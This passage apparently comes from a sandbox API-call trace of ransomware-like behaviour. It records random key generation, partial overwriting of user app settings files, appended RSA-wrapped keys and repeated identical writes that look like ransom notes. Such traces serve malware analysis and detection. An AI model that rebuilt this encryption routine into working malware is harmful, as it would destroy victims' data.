lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.128] CloseHandle (hObject=0xa10) returned 1 [0157.129] WriteFile (in: hFile=0xa10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.130] CloseHandle (hObject=0xa10) returned 1 [0157.130] WriteFile (in: hFile=0xa10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.131] CloseHandle (hObject=0xa10) returned 1 [0157.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0157.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0157.152] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.153] ReadFile (in: hFile=0xa24, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.158] SetFilePointer (in: hFile=0xa24, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.158] WriteFile (in: hFile=0xa24, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.159] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.159] WriteFile (in: hFile=0xa24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.160] WriteFile (in: hFile=0xa24, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.160] CloseHandle (hObject=0xa24) returned 1 [0157.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0157.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0157.180] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.181] ReadFile (in: hFile=0xa24, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.181] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.181] WriteFile (in: hFile=0xa24, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.182] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.182] WriteFile (in: hFile=0xa24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.183] WriteFile (in: hFile=0xa24, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.183] CloseHandle (hObject=0xa24) returned 1 [0157.200] WriteFile (in: hFile=0xa30, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.202] CloseHandle (hObject=0xa30) returned 1 [0157.202] WriteFile (in: hFile=0xa30, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.203] CloseHandle (hObject=0xa30) returned 1 [0157.204] WriteFile (in: hFile=0xa30, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.205] CloseHandle (hObject=0xa30) returned 1 [0157.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.206] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.207] ReadFile (in: hFile=0xa44, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.207] SetFilePointer (in: hFile=0xa44, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.207] WriteFile (in: hFile=0xa44, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.207] SetFilePointer (in: hFile=0xa44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.208] WriteFile (in: hFile=0xa44, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.210] WriteFile (in: hFile=0xa44, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.210] CloseHandle (hObject=0xa44) returned 1 [0157.212] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.212] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0157.212] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0157.212] ReadFile (in: hFile=0xa44, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.225] SetFilePointer (in: hFile=0xa44, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.225] WriteFile (in: hFile=0xa44, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.225] SetFilePointer (in: hFile=0xa44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.227] WriteFile (in: hFile=0xa44, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.227] WriteFile (in: hFile=0xa44, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.227] CloseHandle (hObject=0xa44) returned 1 [0157.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0157.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0157.229] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.230] ReadFile (in: hFile=0xa44, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.242] SetFilePointer (in: hFile=0xa44, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.242] WriteFile (in: hFile=0xa44, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.243] SetFilePointer (in: hFile=0xa44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.243] WriteFile (in: hFile=0xa44, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.243] WriteFile (in: hFile=0xa44, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.244] CloseHandle (hObject=0xa44) returned 1 [0157.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0157.245] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.245] ReadFile (in: hFile=0xa44, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.245] SetFilePointer (in: hFile=0xa44, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.245] WriteFile (in: hFile=0xa44, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.245] SetFilePointer (in: hFile=0xa44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.246] WriteFile (in: hFile=0xa44, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.247] WriteFile (in: hFile=0xa44, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.247] CloseHandle (hObject=0xa44) returned 1 [0157.251] WriteFile (in: hFile=0xa50, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.252] CloseHandle (hObject=0xa50) returned 1 [0157.252] WriteFile (in: hFile=0xa54, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.253] CloseHandle (hObject=0xa54) returned 1 [0157.254] WriteFile (in: hFile=0xa54, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.255] CloseHandle (hObject=0xa54) returned 1 [0157.256] WriteFile (in: hFile=0xa54, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.256] CloseHandle (hObject=0xa54) returned 1 [0157.257] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.257] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0157.257] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.257] ReadFile (in: hFile=0xa68, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.263] SetFilePointer (in: hFile=0xa68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.263] WriteFile (in: hFile=0xa68, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.263] SetFilePointer (in: hFile=0xa68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.263] WriteFile (in: hFile=0xa68, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.264] WriteFile (in: hFile=0xa68, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.264] CloseHandle (hObject=0xa68) returned 1 [0157.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0157.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0157.272] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.272] ReadFile (in: hFile=0xa68, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.272] SetFilePointer (in: hFile=0xa68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.272] WriteFile (in: hFile=0xa68, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.272] SetFilePointer (in: hFile=0xa68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.273] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.273] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.273] WriteFile (in: hFile=0xa68, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.274] WriteFile (in: hFile=0xa68, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.274] CloseHandle (hObject=0xa68) returned 1 [0157.276] WriteFile (in: hFile=0xa74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.277] CloseHandle (hObject=0xa74) returned 1 [0157.278] WriteFile (in: hFile=0xa74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.279] CloseHandle (hObject=0xa74) returned 1 [0157.280] WriteFile (in: hFile=0xa74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.280] CloseHandle (hObject=0xa74) returned 1 [0157.281] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.281] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.281] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.282] ReadFile (in: hFile=0xa88, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.312] SetFilePointer (in: hFile=0xa88, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.312] WriteFile (in: hFile=0xa88, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.313] SetFilePointer (in: hFile=0xa88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.313] WriteFile (in: hFile=0xa88, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.313] WriteFile (in: hFile=0xa88, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.314] CloseHandle (hObject=0xa88) returned 1 [0157.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0157.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.390] SetFileAttributesW 